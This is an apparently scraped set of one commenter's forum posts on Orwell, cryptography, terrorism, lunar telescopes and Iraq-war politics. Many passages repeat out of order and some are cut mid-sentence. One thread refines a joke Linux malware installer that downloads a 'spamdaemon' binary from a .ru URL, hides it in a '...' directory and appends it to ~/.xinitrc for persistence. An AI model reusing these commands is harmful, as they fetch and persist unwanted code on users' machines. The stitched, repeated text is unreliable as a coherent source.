... Which of Orwell's works do we have in mind here? Down and Out in Paris and London, perhaps? Animal Farm? I can't remember brain chips anywhere in Orwell.
Perhaps it was 1984? But as I remember it, the Party had never been able to develop a technique to discover what another human being was thinking. The inside of the human mind remained untouchable; it was the last sanctuary from their totalitarianism. Hence their reliance on propaganda and torture as cruder methods of mind control...
It's down to a thousand years? That has me worried. I felt comfortable when we were talking 'given every computer on earth in parallel, you'd need about a billion times the age of the universe' - now we're down to a paltry millennium? Give NSA a couple of factors of ten to err on the side of caution, that puts them in the decade range. Moore's law being what it is, we're buggered.
Not all terrorists are dumb, but the suicide variety are by definition fucking stupid.
Remember Richard Reid, he of the explosive footwear? Caught when a passenger noticed him trying to set light to his shoes? Anyone with intelligence greater than or equal to that of a bag of hammers would have gone to the toilet and THEN tried to detonate their payload...
The people who plan the operations might be smart, as may the people who instruct the bombers. But sooner or later you've got to communicate with the moron you're exploiting and persuading to blow himself up. At that point you're vulnerable, because he's stupid and easily led and all in all a liability.
How good would a Lunar astronomy be? Having no atmosphere would seem to be a great bonus, and allthougth there **is** the problem of gravity on the lenses, this gravity is much less.
Good, but why bother going to the Moon? Why noth just put your telescopes in Earth orbit, which is cheaper to reach?
If you think launching Shuttles to service Hubble is a burden, well, going to the Moon to repair a telescope there is far more expensive and dangerous.
The best astronomical use for the Moon would be in radio astronomy. Imagine a radio telescope on Farside, listening to the radio sounds of deep space, insulated by thousands of miles of solid moon rock from the cacophony of radio noise generated by Earth...
A mission to Mars is probably going to end up being footprints-and-flags, a wildly expensive waste of time. I doubt anyone's seriously going to fund a Martian colony at this time, not with a supply chain so long.
If we go back to the Moon, there's more chance that we can go to stay. Supplying a Moon base will be expensive, but not ridiculously so. It's something that could reasonably be done now, without year-long flight times and teradollar budgets.
He had few friends by that stage. Israel are probably favourites, but it could easily have been the Americans, British or Iraqis... He got into a nasty line of work, really.
Wouldn't this leave a suspicious-looking file called spamdaemon in (probably) the user's home directory? Why not create... first, cd into it and _then_ wget your nasty program?
This should probably be a >>, not a >. You'll overwrite the existing.xinitrc, mess up a whole bunch of startup scripts and the user will take the computer to a geek to be fixed.
Also, what if the script was originally run in a directory other than ~? Wouldn't spamdaemon would then be in ~/somewhere/somewhereelse/.../spamdaemon?
Can you even imagine the consequences of a hackers' strike?
Just for one week, what would happen if everyone walked out? Just leave the machines to themselves and to the tender mercies of the script kiddies... for one week?
How long would any company - any society - be able to go before caving in? Not very.
Seriously: a hackers' trade union sounds like a very, _very_ good idea.
Japanese robots. Beethoven. Did anyone else go to a _really_ scary mental place?
Personally, this triggered a chain of thoughts that ended with a fifty-mile-high girl reducing everyone in the world to orange goo, while Unit 01 waved around the Lance of Longinus as a conductor's baton and the Mass Production Evangelions played the strings. Weird.
About aerial mapping: didn't we do this to some spammer a while back, might have been Ralsky? Spammy mentioned in article, address found, subscribed to three million or so catalogues, satellite image then located and posted, with helpful crosshairs and missile targeting coordinates?
Suddenly it's YRO when someone _else_ is doing it:-)
What's the difference between IE's integration into the Windows shell and Konquerer's integration into KDE?
KDE don't have a monopoly. If you're a monopoly, the rules change. You're not allowed to use your monopoly in one market to muscle out rivals in another market - which is what Microsoft have repeatedly done.
Well, in Britain's case you might not have noticed the rather long bit in the middle. Tony very definitely didn't lie to us at any stage and it's only those scoundrels at the BBC who would have us believe otherwise.
Quite what got the Poles and the Aussies in I'm not sure. The Spanish I mentioned specifically; their new PM can hardly be listed as a partner in this poss^H^H^H^Hcoalition. As for the rest, America's influence behind the scenes has been fairly well documented. You think El Salvador joined up because they felt threatened by Saddam?
Yes, I suppose so... as the crew of the Chinese plane that the American spies swerved into discovered.
I've been rereading the articles on this matter - it's been a few years. Looks like the plane was flying over the sea off China, busily not monitoring transmissions, and it collided with a Chinese fighter jet which was shadowing it to make sure that it didn't not monitor any more closely than it shouldn't. The result was that it landed on some Chinese island; the Chinese did not then take the opportunity to take a very good look at the super-secret spying equipment which was not on the plane, and eventually returned both plane and crew to the US.
To be honest, the whole thing was pretty reasonably handled. Had the Americans been not spying over the Chinese mainland, rather than just not spying over the sea (whether they were not over Chinese waters or not over international waters is debatable) then they might not have been seen again...
Hang on, Ireland can't be the 51st state. Britain already is.
I suppose that _does_ give us a united Ireland, though. I'm not certain which side would be happy about it this way. Both Irish would make one lot happy, both British would make the other lot happy - how does it work if the whole lot of us are American?
The fun thing is to go down that list and tick 'em off like this (in no particular order): Bribed, bribed, bribed, invaded by US a few years back and still scared, bribed, bribed, needs to keep Americans sweet because of scary neighbour to the north, bribed, bullied, bribed, still under US occupation, bribed, bribed, Prime Minister actually believes in weapons of mass destruction even the 45-minute thing and had nothing whatsoever to do with naming of Dr Kelly and didn't lie and anyone who says otherwise is a lefty, bribed, bribed, now pulling out after unpopular pro-war Prime Minister lost election, bribed, bribed...
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To say that china has an amicable relationship with the US is false. they crashed a jet into a radar plane of ours, and we had to do some real legwork to get the crew back.
Ah yes... that American military plane that was hanging around China for some strange reason. IIRC, they were happy enough to hand over the crew, but for some reason wouldn't comply with the US government's entirely reasonable request that they give back all the high-tech spying equipment that was also on the plane without looking at it.
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Perhaps it was 1984? But as I remember it, the Party had never been able to develop a technique to discover what another human being was thinking. The inside of the human mind remained untouchable; it was the last sanctuary from their totalitarianism. Hence their reliance on propaganda and torture as cruder methods of mind control...
Quite right. The only way to go for interplanetary missions is Apache.
When 136 years old you reach, look so good you will not. Hmph.
Normally you'd begin by modifying the deflector dish.
That's probably going to be up to the robots.
This is voting software, with which one would run an election in a democracy. Wouldn't we be happy if these countries downloaded and used it?
Then there would be no more phony rigged elections in these places - you can't possibly rig an e-voting machine, Diebold said so.
It's down to a thousand years? That has me worried. I felt comfortable when we were talking 'given every computer on earth in parallel, you'd need about a billion times the age of the universe' - now we're down to a paltry millennium? Give NSA a couple of factors of ten to err on the side of caution, that puts them in the decade range. Moore's law being what it is, we're buggered.
Wow, that's what I call paranoia! My hat is off to you... :-)
Remember Richard Reid, he of the explosive footwear? Caught when a passenger noticed him trying to set light to his shoes? Anyone with intelligence greater than or equal to that of a bag of hammers would have gone to the toilet and THEN tried to detonate their payload...
The people who plan the operations might be smart, as may the people who instruct the bombers. But sooner or later you've got to communicate with the moron you're exploiting and persuading to blow himself up. At that point you're vulnerable, because he's stupid and easily led and all in all a liability.
Quite. So, you're running PGP, but the underlying OS has a handy little NSA_KEY in it... Woops, they just got your private key :-)
And the huge fuss they made when Phil Zimmermann released PGP on the net. If they could crack it easily, why would they have cared?
Good, but why bother going to the Moon? Why noth just put your telescopes in Earth orbit, which is cheaper to reach?
If you think launching Shuttles to service Hubble is a burden, well, going to the Moon to repair a telescope there is far more expensive and dangerous.
The best astronomical use for the Moon would be in radio astronomy. Imagine a radio telescope on Farside, listening to the radio sounds of deep space, insulated by thousands of miles of solid moon rock from the cacophony of radio noise generated by Earth...
If we go back to the Moon, there's more chance that we can go to stay. Supplying a Moon base will be expensive, but not ridiculously so. It's something that could reasonably be done now, without year-long flight times and teradollar budgets.
He had few friends by that stage. Israel are probably favourites, but it could easily have been the Americans, British or Iraqis... He got into a nasty line of work, really.
wget http://myfunkyurl.ru/spamdaemon ... ... ...
... first, cd into it and _then_ wget your nasty program?
.xinitrc, mess up a whole bunch of startup scripts and the user will take the computer to a geek to be fixed.
... ...
mkdir
cp spamdaemon
cd
Wouldn't this leave a suspicious-looking file called spamdaemon in (probably) the user's home directory? Why not create
chmod +x spamdaemon
echo "~/.../spamdaemon" > ~/.xinitrc
This should probably be a >>, not a >. You'll overwrite the existing
Also, what if the script was originally run in a directory other than ~? Wouldn't spamdaemon would then be in ~/somewhere/somewhereelse/.../spamdaemon?
I'd do:
cd
mkdir
cd
wget http://www.myfunkyurl.ru/spamdaemon
chmod +x spamdaemon
echo "~/.../spamdaemon" >> ~/.xinitrc
./spamdaemon
Just for one week, what would happen if everyone walked out? Just leave the machines to themselves and to the tender mercies of the script kiddies... for one week?
How long would any company - any society - be able to go before caving in? Not very.
Seriously: a hackers' trade union sounds like a very, _very_ good idea.
Personally, this triggered a chain of thoughts that ended with a fifty-mile-high girl reducing everyone in the world to orange goo, while Unit 01 waved around the Lance of Longinus as a conductor's baton and the Mass Production Evangelions played the strings. Weird.
Suddenly it's YRO when someone _else_ is doing it :-)
KDE don't have a monopoly. If you're a monopoly, the rules change. You're not allowed to use your monopoly in one market to muscle out rivals in another market - which is what Microsoft have repeatedly done.
Quite what got the Poles and the Aussies in I'm not sure. The Spanish I mentioned specifically; their new PM can hardly be listed as a partner in this poss^H^H^H^Hcoalition. As for the rest, America's influence behind the scenes has been fairly well documented. You think El Salvador joined up because they felt threatened by Saddam?
http://www.ips-dc.org/COERCED.pdf
http://www.disinfopedia.org/wiki.phtml?title=Coa lition_of_the_willing
I've been rereading the articles on this matter - it's been a few years. Looks like the plane was flying over the sea off China, busily not monitoring transmissions, and it collided with a Chinese fighter jet which was shadowing it to make sure that it didn't not monitor any more closely than it shouldn't. The result was that it landed on some Chinese island; the Chinese did not then take the opportunity to take a very good look at the super-secret spying equipment which was not on the plane, and eventually returned both plane and crew to the US.
To be honest, the whole thing was pretty reasonably handled. Had the Americans been not spying over the Chinese mainland, rather than just not spying over the sea (whether they were not over Chinese waters or not over international waters is debatable) then they might not have been seen again...
I suppose that _does_ give us a united Ireland, though. I'm not certain which side would be happy about it this way. Both Irish would make one lot happy, both British would make the other lot happy - how does it work if the whole lot of us are American?
How come they managed to crash-land in China and get captured by the Chinese, then? Gone a bit off-course by mistake?
The fun thing is to go down that list and tick 'em off like this (in no particular order): Bribed, bribed, bribed, invaded by US a few years back and still scared, bribed, bribed, needs to keep Americans sweet because of scary neighbour to the north, bribed, bullied, bribed, still under US occupation, bribed, bribed, Prime Minister actually believes in weapons of mass destruction even the 45-minute thing and had nothing whatsoever to do with naming of Dr Kelly and didn't lie and anyone who says otherwise is a lefty, bribed, bribed, now pulling out after unpopular pro-war Prime Minister lost election, bribed, bribed...
Ah yes... that American military plane that was hanging around China for some strange reason. IIRC, they were happy enough to hand over the crew, but for some reason wouldn't comply with the US government's entirely reasonable request that they give back all the high-tech spying equipment that was also on the plane without looking at it.